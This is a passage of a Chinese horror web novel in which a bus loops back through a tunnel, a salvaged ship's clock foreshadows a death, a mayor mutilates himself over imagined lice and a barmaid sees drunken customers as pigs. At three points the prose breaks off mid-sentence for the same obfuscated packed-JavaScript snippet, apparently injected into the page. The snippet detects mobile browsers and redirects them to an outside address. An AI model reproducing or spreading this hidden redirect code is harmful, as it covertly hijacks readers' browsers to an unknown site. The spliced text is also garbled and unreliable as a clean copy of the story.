漫长的路途让她有些昏昏欲睡,她眼皮打架,亲昵地将头靠在雄一的肩膀上。 不知过了多久,前方出现了一点亮光,公交车马上就要驶出隧道。 步美睁开眼,摸出手机拨打电话。 “怎么回事,怎么还没有信号?”她晃晃手机,感觉到身旁雄一的身体忽然僵硬。 “怎么了?”她顺着雄一惊恐的视线抬起脸来,看向公交车前方。 一模一样的道路,一模一样的风景。 被蝗虫啃食过的树木,青砖白瓦建的两层建筑,以及,以及这诡异杜,仿佛时间凝固般的千鱼镇。 “怎么、怎么会?是不是公交车司机开错路了?” 步美三步并作两步冲到车前,司机一脸茫然:“怎么回事?怎么又回来了?” 司机喃喃自语:“我明明,没有打瞌睡啊?” “现在,再沿着道路,开进隧道一次。”步美说。 司机直起身子,全神贯注地驾驶车子,公交车晃晃悠悠沿着千鱼镇行驶,又到了隧道的入口。 一片漆黑,步美拿起手电筒,照向隧道内部,并无任何异常。 因为这场意外的变故,所有人都从睡梦中惊醒,全神贯注地观察着车子行驶的方向。 亮光重新出现,步美松了一口气,眼前是熟悉的车站,好友正站在车站前等她。 下一秒,熟悉的画面在她眼前崩碎瓦解,千鱼镇的一切重新出现。 公交车内,司机不住擦着冷汗,车内一片惊呼:“怎么出不去了?现在连电话也打不通了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977554|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>几人站了起来,在车头与车尾之间来回行走,企图找出异样发生的原因。 司机再次将车驶向千鱼镇,想要再次前往隧道入口,突然的异常让他手脚冰凉。 步美靠着窗户,忽然看到在路边独自走着的奈绪。 她急忙对司机说:“司机,司机,让我们在这里先下去!” 只有雄一和步美下了车,其他一群人都想跟随司机再试一试能不能通过隧道,没有下车。 司机带着一车人重新往隧道入口驶去,步美下车的位置离隧道入口不远。 “奈绪,怎么只剩你一个人了?其他人呢?” 奈绪眨着眼睛,“他们都回家了,我去买点吃的。” 步美这才注意到奈绪手中提了一袋零食。 “你怎么又从车上下来了,还是从……那个方向?” 公交车载了一车人,再度驶入隧道,步美看着公交车消失在黑暗中,话里带着担忧:“我们好像……出不去了。” 雄一:“公交车进隧道,开了好几次都是从入口出来,怎么也到不了外面,现在手机也打不通了。” 在奈绪的建议下,步美,雄一与奈绪一同走入了隧道。 “如果车子开不出去,用步行的方法也许可以。”奈绪说。 隧道黑暗,三人贴着隧道的边缘走着,步美时不时拿出手机查看信号。 令她失望的时,手机信号始终没有出现,连手机的电量也一点一点耗尽了,在最后一点微弱的亮光后,他们彻底陷入了黑暗。 一点熹微的光从隧道尽头照进来,步美抓着奈绪的手渗出冷汗,眯起眼睛看向那束光。 这束光和出隧道看到的光都不一样,光亮似乎来自一辆车子的车灯。 是那辆公交车! 车上满载了一车队员,车子左歪右晃,步美扯过奈绪的手,将她猛地向后带,三人快退几步,贴着隧道墙壁。 惊魂一刻,公交车擦过奈绪的半边身子,如同醉酒一样朝前方驶去! 公交车擦过时,奈绪隐约看见了司机的脸。 这个在千鱼镇干了几十年的司机,嘴角抖动,眼角抽搐,拼命控制着手中的方向盘。 车内,队员们左摇右晃,恐慌地尖叫着,行李散落一地。 公交车以极快的速度往隧道的另一边冲去,离奈绪三人越来越远。 但奈绪还没走出隧道,就听见身后传来一声惊天动地的炸响。 玻璃破碎擦过奈绪的脸颊,火焰将她的头发燎焦,烟气与灼热疯狂迸发,一只宽厚的手臂将她推倒在地。 她侧过脸,眼睛被火气燎得几乎睁不开,朦朦胧胧间,雄一与步美保护着她,两人将腿软的奈绪拉起,往隧道的出口跑去。 身后,公交车猛烈燃烧着,车窗全碎了,车身凹进去一大块,司机头部流血,失去了气息。 又是一个惊天动地的响声,如同雷鸣一般,三人都下意识回头望,瞳孔震颤,手脚发抖。 公交车就撞碎在离入口极近的位置,整辆车从侧面倾倒,湮灭在烈火之中。 等到镇子上的消防大队赶到时,整辆车已经烧得只剩下一个硬壳,包括司机在内,整车人的尸体不翼而飞。 隧道像是怪物的食品供给站,怪物手握刀叉,精心将公交车送来的食品品味干净。 步美握住雄一的手,看向天空,在无尽渺远的天空中,她看不到什么东西。 可她总觉得,有一双无形的手如同跳舞般,在天地间行走,在千鱼镇内行走,那双透明的大手长出一个血红的嘴巴,悄然低语着: “你们在哪里?” “你们在哪里?” 5. 钟表 已经进入了冬天。 也许是因为冬日,光秃秃的树干看起来也没有那么诡异了,太阳跃上枝头,枝干投下干瘦的暗影,映照在学校的石墙上。 奈绪穿着靴子,和姐姐由子一起从墙边经过。 这是学校里的一栋教学楼,教学楼的最上方有一个钟表房。 外面悬挂了一个巨大的钟表,已经年久不用,上面落满了灰尘,一根表针生锈,多年不再转动。 因为近些天千鱼镇收不到任何信号,对外界发不出消息,手机几乎被弃用了,钟表作为相当可靠的报时工具,重新走入了小镇镇民的视野。 现在,龙太郎和小百合两位老师,正监督着三个工人,用砂纸打磨生锈的表针,要将这台巨大的钟表重新启用。 奈绪抬起头向上望去,橘黄色的钟表正在日光的照耀下闪着一点细碎的光芒。 表针磨下的金属碎屑从楼上落下,奈绪急忙避开。 现在已经下课了,奈绪抬起手腕,是一个老式的机械钟表,表针显示现在已经整点,她们需要赶紧回家了。 “老师——我们走了——” “路上小心——”龙太郎急忙挥手。 回到家,奈绪看见步美拎着大包小包的行李,正从家里搬出去。 “你们是要走了吗?房子找得怎么样了?”奈绪问。 步美提着一个大袋子,手腕频频暴出青筋,她温柔地微笑,说道:“找好了,这些天寄住在你们家里,真是给你们添麻烦了。” “不麻烦不麻烦。”由子忙说。 奈绪:“你们怎么搬出去得这么急,不再住几天呢?” 步美看向雄一,表情有些羞涩:“我怀孕了,再住在这里,怕不太方便。” 唯一的医院在山坡下的镇子中心,奈绪家里医院实在有些远。 “怀孕了?”奈绪惊得几乎要蹦起来,“什么时候?” 步美思索着说:“按照月份来看……来千鱼镇之前就有了,只是当时还没意识到。” 步美和雄一脸上洋溢着幸福的微笑,然而奈绪却看出两人表面的微笑之下还隐藏了一层冰冷的不安。 被困在这样一个地方,还不知道什么时候能出来。 一个全新的生命的诞生有时候并不意味着幸福快乐,而是代表了茫然与未知。 奈绪两人将他们送到镇子后,便折返回家,步美找的房子很漂亮,是一个两层独栋,算不上很大,但是很温馨。 奈绪咬着铅笔,坐在教室里发着呆,淳平转过身挤了挤眼睛: “你听。” “听什么?”奈绪没好气地问,她正因为步美二人的离开而有些莫名的烦躁。 淳平:“听嘛!” 话音刚落,悠扬的钟声透过窗户传来,声音很大,震耳欲聋。 奈绪站起身将窗帘拉上,声音小了很多,淳平着急:“你把窗帘拉上干嘛?” “吵死了。” 奈绪闭上眼睛趴在课桌上,淳平还在旁边絮絮叨叨:“这是班主任和隔壁小百合老师一起弄的,钟表磨好后上了油,听起来声音真是好听。” 淳平的爷爷是钟表匠,生前常常试图教会这个孙子关于钟表的知识,让他学会修钟表。 孙子没学会修钟表,反倒喜欢上了听各种各样的钟声。 据淳平所说,每个钟表走针的声音都是不同的,教室里的小钟表走起来凝滞,缓慢,奈绪手腕上的钟表听起来清脆,青春。 而教学楼上挂的这个超大钟表,在淳平看来,就是小镇历史的代表。 钟表每奏出一声,都格外悠扬,庄重,像是代表了小镇的历史。 千鱼镇本是一个人迹罕至的小地方,后来陆陆续续有几户人家搬过来,才发展成如今的模样。 小镇靠背面是一片大海,这片大海在无风的夜晚会掀起黄绿色的巨浪,海面的风猛刮着人们的后背,似乎要将人刮进海中。 据小镇上最年长的人由村所说,在他随着父母搬来千鱼镇后,在秋日一天深夜,他还窝在母亲的怀抱里,忽然听到了钟声。 声音悠扬,凄凉,悲伤。 那时村子刚建成不久,村中并未有人搬来什么钟,他跟着父母跑了出去。 他们沿着钟声寻找,一路往北边。 直到看见滔天的巨浪吞没了半边天空,他闻到咸咸的海腥味,潮湿的冷气扑在他稚嫩的脸上。 就在众人茫然之时,海浪将一块庞大无比的黑色物体托起,这块黑色的物体庞大到似乎要将天地遮盖,排山倒海般往岸上涌来。 镇民们大惊失色,他的父母拖着他往远离海浪的地方跑去, 最后一声钟声也随之到来。 “咚——” 他浑身颤栗,鞋子被海浪打湿。 在岸边等到天亮,借着第一缕从海面上升起的晨光,他们都看清了那团黑色的巨物的真实样貌。 是一艘破旧的大船。 船身残破,舷窗破碎,甲板松脆,几个镇民鼓起勇气,身上绑了绳子进入船舱,发现船内长满了白毛,几个腐烂的骨架倒在舱内。 钟声就从这船上来。 由村亲眼看着几个村民将这个巨大的钟表,从船舱内出来。 那时,他几乎认不出这是个钟表,只知道是个圆形的物体,因为钟表上长满了白毛。 奇怪的是,在接触到空气的一瞬间,乱舞的白毛瞬间化为粉末,被咸腥的海风吹散。 他真正看见了这个生锈的钟。 小镇刚建成,贫瘠的镇民想要利用一切可以利用的资源,他们将这个大钟架起,抛光,放入了镇上的教堂。 经过一个多世纪的洗礼后,钟逐渐失去了用处,被丢在废弃的空房中。 直到最近,才又被翻了出来。 当钟声再次响起,淳平满意地点了点头,闭眼聆听悠扬的钟声。 连着听了几天钟声,奈绪也渐渐习惯了这个大钟的整点报时,放学回家,她也会习惯性地抬头,看向这口跨越了千鱼镇百年历史的巨大时钟。 奈绪甚至产生了一种自己在与百年前小镇上的居民交流的感觉。 直到有一天,奈绪没有听到那一声熟悉的钟声。 “发生什么了?今天的钟怎么没有响?”奈绪看向手腕上的手表:“这不是整点了吗?” 淳平也觉得奇怪。 当他们二人跑去教学楼时,奈绪清晰地看见教学楼上的大钟停止了转动。 表针奇异地停止了。 龙太郎又请了两个工人,对钟表进行了检修。 检修过后的两个小时,钟表还在转动着,两个小时后的整点,钟表再次停住了转动。 又修了几次,结果都是如此。 龙太郎无可奈何,指了指不再转动的钟表,对淳平失望地说: “它恐怕是坏了。” 往后几天,他们都在没有钟声的世界里度过,奈绪有些怀念那悠扬的钟声,但年少的青春天性也让她很快忘记了这口钟。 大钟不转以后,就成了一个装饰品,孤零零地挂在楼上,钟表渐渐生锈,被人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977555|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们遗忘。 雷雨交加的夜晚,风刮得很急,树木在狂风的压迫下向一侧倾倒。 奈绪刚下晚自习,她穿了一件雨衣,整个鞋子都被雨水浸湿。 她将手臂挡在前面挡着扑面而来的雨水,另一只手抱着书包,从教学楼中跑出来。 “喂,奈绪,等等我——”由子大叫着,撑了把雨伞出来,将书包护在身前,雨水顺着她的袖子滴下。 奈绪停下脚步,姐姐喘着粗气,将伞罩了她半边。 “你今天怎么不和你男朋友一起走了?”奈绪疑惑问道。 由子脸色有些阴沉:“他最近神叨叨的,好几天没来上学了,我一问他,他就说自己去隧道了。” “他去隧道干嘛?” 由子:“我也不知道,可能还在想出去的办法,我一向劝不动他,他拿定一个主意就不松手的。” 轰隆一声,电闪雷鸣,雷电如同天空被震碎时的裂缝,裂缝中的光将万物照得明亮。 同时间,一间普通的平房内,一位男子正为病榻上的老人喂药。 雨水拍打着窗户,水顺着窗缝淌下,老人精神不是很好,脸上的皮肉松垮垮耷拉着,眼皮惺忪。 “我已经……已经是整个镇子中年龄最大的老人了。”由村嘟囔。 自从前些天的蝗灾过后,他便染上了一种奇怪的后遗症。 他的脑中,时常有人窃窃私语。 那些声音时而短促,时而绵长,有时轻柔得像是妻子从前温柔的低语,但更多时候,像人濒临死亡时绝望而漫无目的,不知归处的低吟。 这声音折磨得他已经许多日子都没睡好觉,眼睛下方眼袋耷拉,只有喝药才能让他勉强入睡。 “算了,你去休息吧。”他对孙子说。 孙子端着药碗走了,药水进了肚子,他脑海中的窃窃私语声终于少了些。 他昏昏欲睡,侧过身子靠着床,看着窗外的雨。 他看见一道白光划破天空,将夜晚的天幕割成两半。 两秒后,奈绪看见那道白光劈上了那口大钟。 面对如同天罚般的雷电,大钟颤抖着,螺栓松动,正个大钟竟与墙壁脱离开来,朝着下方直直坠落! 奈绪拉过由子的手,两人径直朝后退了几步。 “咚——” 如同死神降临人世,钟声穿透脆弱的玻璃窗,盖过了由村脑中其他一切窃窃私语。 由村发觉整间房子都震颤起来,钟声越奏越响,后脑勺一阵阵发疼。 等稳住身形后,他才发现震颤的并不是整间房子,而是他自己。 他在抖动。 他在害怕。 钟声如同魔鬼的召唤,他呼吸不上来了。 用力吸进一口空气,他支撑着站起身,却从床边滚落,平躺在地。 心脏仿若凝结一般,血液再也没有从心脏流过,他张嘴啊啊叫着,却发不出任何声音。 雷雨大作,窗户被风吹开,雨水倾斜刮进屋内,刮到屋子内已经心跳停止的老人身上。 老人大张着嘴巴,面色恐怖,在生命的最后一刻,他再次闻到了那股咸腥的雨水气息。 第二天,几个工人将已经成为一堆残骸的大钟抬走。 大钟无处可去,被工人丢弃在近海的岸边,与那个被世人遗忘的破船待在一起。 不久后,镇子最年长的老人由村的葬礼也举办了。 作为后辈,镇子上的所有人都参加了由村的葬礼,由村的棺材绕着镇子走了一圈,随后葬入地下。 6. 跳蚤 珠惠扎着两条可爱的马尾辫,在阳光下跑动的身影像一头灵巧的小鹿。 “奈绪,后天就是运动会了,还有父母要来参加,你报名吗?”珠惠问奈绪。 奈绪摇头,话里带着一丝遗憾:“我父母他们都忙得很,没时间来参加,真羡慕你,父亲是镇长,每天工作那么忙,竟然还有时间来参加学校活动。” “也没有啦,只是……”珠惠看了看操场,操场上零星有几个踢球的学生,她压低声音: “最近镇子上出的事情不少,他想办法向外界寻求支援,愁得头发都白了一半,整天睡不好,我和妈妈就想办法劝他来散散心。” 奈绪想起近来镇子中发生的事情,原本阳光的心情也蒙上一丝阴影。 当初去找父母时见到了镇长,那时镇长就长了不少白发,苍老了许多,现在镇子的事情还没有解决,镇长一向是个负责任的,肯定比他们这些镇民更发愁。 “希望吧。”奈绪说。 “砰!” 号令枪响。 一缕青烟从枪头喷出。 参赛队员脚下生风,铆足了劲往前冲,肌肉绷紧,跟腱突出,像一群追赶猎物的猎豹。 不过短短十几秒钟,已经有人冲过了终点,一根胜利的红带子在他手中飘扬着。 奈绪顺着众人的欢呼往过去,瞳孔骤然放大。 “老师?”她迈步走过去,一群同学已经围在他身边,骄傲地将他抬起,一起高喊: “龙太郎!龙太郎!龙太郎!” 龙太郎推了推厚厚的眼镜,招呼着让热情的同学们将他放下。 奈绪有些不敢相信自己的眼睛,班主任这样一副小身板,腿细得像竹竿一样,跑起步来竟然这么快。 淳平也难以置信:“老师,你平时真是深藏不露啊,”他话里话外有些嫉妒:“老师,你这个跑步速度,是全镇第一吧。” 龙太郎重重呼吸几声,将肺里的浊气排走,接过一瓶水猛得灌下几口,呛了一下,手朝一个方向指去。 “我哪里是第一啊,每次比赛我都输给他了。” 奈绪顺着众人的视线看去,笑出声来:“老师,你确定你不是故意输的吗?这可是镇长哎。” 龙太郎所指的人,就是站在看台边,正与珠惠聊天的镇长村井骏平。 龙太郎脸上的皱纹都笑得皱了起来:“我倒是想赢他!我们在千鱼镇长大,从小就赛跑,没一次赢的,后来我们都考上了外面的大学,又都选择回到小镇,没想到都四五十岁半截入土的人了,我竟然还是赢不过他。” 注意到了一群人的视线,镇长走了过来,简单打了个招呼。 龙太郎:“骏平,这次总该让我赢一次了吧。” 镇长咧开灿烂的笑容,搂过身边的珠惠,摇摇头假装无奈:“没办法,我女儿在这里,总要给她挣点脸面,龙太郎,你一个老光棍,不会懂我们这些做父母的心情的。” 损友见损友,分外眼红。 龙太郎作势要打,珠惠嬉笑着将镇长扯走,镇长一面走,一面回头扬起下巴看着龙太郎,意思是: 我肯定赢你。 龙太郎与同学们哄笑成一团。 发令枪再次响起。 这次从跑道上出发的,有龙太郎,镇长骏平,还有其他几位男老师。 奈绪看着他们如离弦的箭一样冲出起点,这一场是两百米,路途不算长。 龙太郎和镇长骏平一同冲在最前方,骏平领先一些。 龙太郎细瘦的腿让他看起来有些像奔跑的竹节虫,他面颊上的眼镜在鼻子上颠着,他边跑边用手指扶着眼镜,看起来有些滑稽。 小百合老师也在一旁观赛,看到龙太郎滑稽的样子,她忍不住捂着嘴,轻轻笑了。 一片惊呼声传来,跑道上似乎有人跌倒了。 此时跑步的人都被人群挡住,奈绪和同学们推开一条小道,朝呼救的地方跑过去。 刚刚还在微笑的小百合老师脸色骤然变得苍白,冲到最前方,奈绪紧跟而至。 摔倒的不是一直在扶眼镜的龙太郎,却是那个一马当先的镇长。 镇长脸色苍白,额头流着冷汗,眼睛紧闭,手肘处凸起一块骨头,手臂上擦破了一层皮,肉色的皮肤混合着红色的血液,让奈绪后背发麻。 珠惠跪在他身旁,一脸惊慌,龙太郎顾不上疲累,和小百合老师一起去医务室找医生去了。 医生赶到,将骏平抬上担架。 奈绪看得触目惊心,珠惠止不住哭泣,眼圈红肿着说:“我不该叫爸爸来的……” 奈绪无计可施,只好拍拍她的肩安慰她。 镇长受伤的小插曲让整个运动会停滞了一段时间,而后在其他几个老师的指导下,运动会又重新开始进行。 只是,有镇长受伤的前例,接下来的运动员也都收敛了很多,没了刚开始的生机活力。 珠惠第二天肿着眼睛来上学,马尾辫也乱了一些,皮筋系得松松垮垮。 她趴在课桌上,任凭窗外的冷风对着自己发后背直吹。 “天气都这么冷了啊。”奈绪站起身,关掉了窗户。 “你爸爸好些了吗?”奈绪柔声问。 珠惠抬起头来,眼中泛着泪花:“医生刚给他包扎好,他现在躺在家里休养呢。” 此后几天,珠惠的精神逐渐好起来,也重新和同学们开起玩笑来。 奈绪瞧着她,却还是觉得有些不对劲,珠惠的辫子扎得不好,走路也没了从前小鹿一样的姿态了。 在一节课间,她将珠惠从同学中拉出,找了个空旷的角落,问:“珠惠,你别骗我了,你家里到底怎么样了?” 珠惠眨了眨眼睛,做出一副平静无事的样子:“没、没怎么样啊。” 奈绪不高兴地甩开她的手,闷声道:“你要是还当我是朋友的话,就和我说实话。” 珠惠秀气的眉毛皱了起来,还在微笑的嘴角撇了下来,嘴唇抖动着,像是要哭:“我……我爸爸有点不对劲。” “怎么不对劲?”班主任的声音忽然出现。 奈绪和珠惠都被吓了一跳,龙太郎夹着一本数学书,不知从哪个角落钻了出来。 “我打算今天下午去看看你爸爸,他到底怎么样了?” 珠惠忍不住哇地哭了起来,抽抽搭搭地说:“他、他发疯了,他说自己包了纱布的地方长了一张脸,他,他还说那张脸张开了嘴巴,往外面吐了好多虱子。” 龙太郎的表情分外震惊,脑子宕机了几十秒后,才反应过来。 忙问:“他前些天不是还很正常吗?他说的是真的假的?你们有拆开他的纱布看过吗?” 珠惠大哭:“他说那些虱子跳得到处都是,他要打扫,要把虱子都杀死,就、就将我们赶出了房子,现在我们都寄居在隔壁,没办法回去。” “还能有这样的事情?”龙太郎神情焦急:“哪里要等到下午?珠惠,现在就带我去找你母亲,我们几个赶紧去找他!” 奈绪正要跟上,龙太郎拦住了她:“奈绪,咱们班还有一节英语课,你上完再去。” 奈绪咬着铅笔,度日如年地上完了这节课,一下课便急急忙忙赶到了镇长家附近。 龙太郎和珠惠正扶着镇长夫人,三个人从邻居家出来。 镇长夫人面色憔悴,形容枯槁,咬紧牙关支撑着站直了身子。 他们刚谈完镇长的事情。 龙太郎老师看见奈绪,先是打了个招呼,而后走远几步,敲了敲卷帘门。 慎一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977556|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎的光头被阳光照得锃亮,他没好气地问:“怎么了?” “我想请你和我们一起去找镇长。” 慎一郎嘟囔着钻出来,和他们一起往镇长的房子走去。 铁门半开着,轻轻一推就会发出吱呀吱呀的声响。 奈绪屏住呼吸,从门缝中钻进去,一脚便踩到了松软的泥土。 院子里弥漫着清洁剂的味道,放眼望去,地上布满了大大小小的深坑,堆砌了几十堆泥土。 他们小心地走过深坑,这些深坑的出现,就好像挖坑的人要在坑底找出些什么。 坑中没有镇长的身影,龙太郎用镇长夫人给的钥匙打开了房门,几人挤进房子,浓烈的清洁剂味道扑面而来。 奈绪被呛得咳嗽起来,睁大眼睛看着这间二层小楼。 每一块玻璃都被擦得仿若透明,物品上冒着寒气,地板擦得光亮,不落一粒尘埃。 与极度的干净极不协调的,则是物品的摆放。 每件物品都十分干净,但却胡乱堆放在一起。 他们都安静下来,屏住呼吸,龙太郎打头,几人往二楼走去。 转过几个房间,龙太郎看到床上的被子叠得一丝不苟。 窗户紧闭,其他房间的灯都关了,只有一个房间的灯还开着。 他慢慢走进,悄悄推开了门。 一个伛偻的身影四肢蜷缩着,躲在卫生间的角落,正不停抓挠着皮肤。 他的手肘部分已经溃烂开来,纱布不知道被扔去了哪里,凸出的那半截骨头沾着血丝。 浑身上下布满了密密麻麻的血点,像是指甲抓挠过的伤口。 他脚边放了一把刀,龙太郎不敢贸然靠近,双方陷入了短暂的沉默。 骏平睁开了眼睛,奈绪吃惊地看见,他原本明亮的眼睛已经变得灰暗,嘴唇布满了血丝和干皮。 他眼睛已经没有了意识,说话也变得嘟嘟囔囔:“有、有虱子。虱子钻进地下去了,我挖不出来,虱子跑到我身上来了,我捉不出来。” “我捉不出来。” “我找不到它们。” “虱子在我的身体里跳呢!” “原来它们是在我的肉下面!” 电光火石之间,骏平已经拿起了刀子,往手臂上砍去,龙太郎和慎一郎立即冲进去,拽住了他的胳膊。 镇长骏平拼命挣扎着,手里的刀子乱舞乱砍,他切下了自己的一块大腿,血液喷溅,晃晃悠悠站起身来。 他发出一声恐怖的狂笑,刀子瞬间打横划去,脱离了他的手。 一声尖叫响起,刀刃擦过珠惠的小腿,几颗血珠沿着伤口的方向流下。 慎一郎急忙将刀子踩住,龙太郎用绳子将骏平捆了起来。 听见女儿尖叫的哭泣后,骏平终于冷静下来,可眼中还是一片茫然。 他的大腿还在喷着血液,他却没有了任何知觉,他昏了过去,被救护车送到了医院。 医生对镇长进行了抢救与手术后,将他送进了隔离舱。 他身上的伤口已经开始发生感染,腿部最为严重,据医护人员透露,并未在骏平的手肘部分发现他一直所说的脸,更没有发现什么虱子。 他待在隔离舱内,穿着棉睡衣,躺着不说一句话,只是偶尔伸出手,将身上刚刚结痂的伤口再次挠破。 乐此不疲。 新的镇长上任,珠惠与母亲也终于回归了正常的生活。 她有时会和奈绪一起去医院看望父亲,又失望地离开。 每当看见父亲那满是伤疤的脸,手臂,腿,她的喉腔就会产生呕吐的感觉。 这时候,她就会挠一挠腿上被父亲划伤的伤口。 伤口还没好,已经好些日子了。 总是有些痒。 7. 牲畜 在黄绿色的浊浪中,一个黄黑色的东西上浮又下沉,被奔涌的海浪推到岸边,在海岸上暴晒了数日。 一只小狗摇着尾巴,在沙滩上留下一个个小脚印,它好奇地朝那团物体跑过去,绕到了那东西面前。 原来是一头牛啊。 牛身上斑斑点点,血肉模糊,脓液泛滥,浓烈的酸腐气味呛鼻。 小狗尾巴沾上了点脓液,它有些嫌恶地擦了擦,随后便朝家跑去。 现在是饭点,主人在喊它吃饭了。 镇子爆发了瘟疫。 这种瘟疫在动物之间传播,一旦沾上染病动物的皮肤,不出几日便会肌肉溃烂而死。 幸运的是,瘟疫没有损害到人们的安全,除了小镇中的牛羊不能食用外,其他的鱼,鸡鸭等都还能吃。 为了防止病害的传播,镇民们自发组织起来,将得了病的牛羊绑到海边,因为焚烧时味道极大,镇民们并没有选择焚烧,而是将牛羊的尸体都堆在海边的悬崖上。 镇子很快恢复了平静,镇民们都认为瘟疫就这样过去了。 夜晚十一点,灯光幽暗,穿着围裙的爱子正擦拭着玻璃杯,头频频看着台面,上面摆了一封信,正是奈绪给她寄来的。 因为信号的缺失,镇子重新出现了信件邮递员这个已经消失许久的职业。 镇长刚宣布恢复邮递员的职业,奈绪就迫不及待给爱子写了信,托邮递员送来。 “什么嘛,都是废话啊。”爱子轻声抱怨着,嘴角却上扬了。 奈绪与她这种已经进入社会几年的人不同,她话里话外都洋溢着青春的气息,说话废话很多,张口闭口就是:“爱子你好吗?好久不见,我好想你!” 但实际上两人上午才见过。 幸福的人才会废话多。 爱子说话言简意赅,若不是客人主动聊天,她绝不会多说半句话。 “爱子,东西要仔细擦,我和你弟弟先回去休息了。”父亲从帘子后探出头来,“信有什么好看的,要是你再因为这个耽误工作,我就和邮递员说不要再往咱家送信了。” 爱子乖巧地点了点头,将信收起来。 这算什么工作。爱子的脑海里忽然出现了一个声音。 爱子吓了一跳,身边空无一人,是谁在说话? 她高中还没毕业,就被父亲以家务繁忙为由退了学,即便她当时学习很好,哭着喊着求要留下,父亲还是给她办了退学。 她每天从早忙到晚,却没有任何报酬,眼睁睁看着青春一天天流失,却无力弥补。 “奈绪,我真羡慕你。”她轻轻说着,想落笔写下这行字,最终却还是划去了。 “铃铃铃——” 清脆的铃声响起,深夜十一点五十六分,三个人搂着走进了酒馆。 “妹子,来杯酒!” 三个人喝了一杯又一杯,满脸醉红,其中一人抬起眼睛,轻蔑地扫视爱子一眼,嗤笑一声。 爱子一脸平静,这些人她见多了。 那人喉结动了动,吐出一口酒气,冲着爱子打了个酒嗝。 擦了擦嘴巴后,他笑着说:“小姑娘,几岁了?身材不错啊。” 爱子冷漠地抬起脸:“三千两百日元。” “什么?是你的吗?” “你们三个的酒,还没交钱呢。” 男子哼了一声,嘟囔着开始掏钱,将两千日元拍在桌子上:“就……就这么多了……漂亮姑娘……给我们抹个零嘛……” 爱子迅速将两千日元收下,说:“其余的帐我先记在酒馆账上。” 爱子将钱记在帐上,她并不喜欢赊账,父亲查账时会责骂她,可她更厌恶与客人纠缠,尤其是这种酒气冲天的人。 用笔记下后,爱子抬起眼睛,惊奇地发现那个人的耳朵变成了猪耳。 “你……”爱子看着他的耳朵,又看向搀扶着他的那两个人,他们似乎都没觉察出异样。 “没事,欢迎下次光临。”爱子鞠躬。 “怎么回事,这里怎么有个赊账的?”父亲指着账簿怒声说。 “他们只给了两千日元,我把他们欠的钱记在账上了。” “要你这个女儿有什么用?吃我们的住我们的,早点送出去嫁人才好!”父亲气得胡须都在颤动。 爱子面无表情,撞着父亲的肩膀经过:“店里没什么事的话,我要回去睡觉了。” “你、你从前不是这样的啊,你从前那样乖巧,那样听话,让你做什么你都愿意……” 爱子猛然扭头,眼中的冷漠将父亲吓了一跳。 你就是想让我听话对不对? 你为什么不让我上学却让弟弟上学? 你为什么只让我听话? 爱子张开嘴,似乎想对父亲说些什么,但最后还是什么都没说。 “我回去休息了。” 爱子脱下围裙。 爱子没有回头,她知道隔着玻璃窗的酒橱边,父亲一定在低声骂她。 又一只猪头人走进了酒馆。 爱子控制住脸上的表情,她知道自己一定是得了什么病,但她不想让其他人看出来。 “要喝点什么?” “大杯啤酒。”猪头人哼咛着,扭动着肥大的身子在座椅上坐下。 刚开始,爱子见到的还只是耳朵变成猪耳朵的那几个人。 后来,耳朵变成猪耳朵的那群人,逐渐长出了猪鼻子,猪一样的眼睛,猪尾巴,最后连握住酒杯的那只手,都变成了猪蹄。 变成猪的占多数,也有一群人,变成了羊。 镇子上的猪和羊并不多,这群人还保持着人的大致形态,看起来像站立的猪,好辨认一些。 爱子也就压下心中的异样,依旧正常地生活,起床,调酒,招待,打扫,记账,再关门离开。 “你的父亲呢?”一只猪问。 “他在后面房间休息。”爱子指指帘子。 “哎呦,这么小的年纪就不上学了啊,真是可怜,可怜哦……”一头羊哼叫着,嘴角却勾起一抹弧度。 爱子知道,自己的苦难又成了他人的笑料,她也擅长迎合:“是啊,我也觉得很可惜呢……” 又是一个深夜,没有月亮的夜晚,已经是冬天了,她两只手冻得红肿,用水将杯子洗了又洗,放在桌子上。 “好困啊……”她眼皮打架,连大声说话的力气都没了。 她站起身,将店门关住,又将灯关掉,整个酒馆顿时陷入了漆黑。 今天不回家了,直接在店里想休息吧。 爱子拿出一床被子,找了条柜台的长凳就躺了下来。 四肢瘫软下来,即便四面都是冬日的寒气,爱子还是很快进入了梦乡。 睡梦中,她听见了一声熟悉的哼叫,抽屉被拉动的声音就响在耳边。 她睁开眼睛,朦胧的黑暗中,一头猪凑在她脚边,将柜台的东西翻了一地,猪独有的味道冲着她的鼻子。 “这是一头猪啊……”爱子自言自语。 听见爱子的声音,猪头猛 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警官已经找了这个人三天了,即便想隐藏情绪,眼中还是难免有些失望,他看着爱子在柜台前忙前忙后,慢慢啜饮完了那杯冒着气泡的酒。 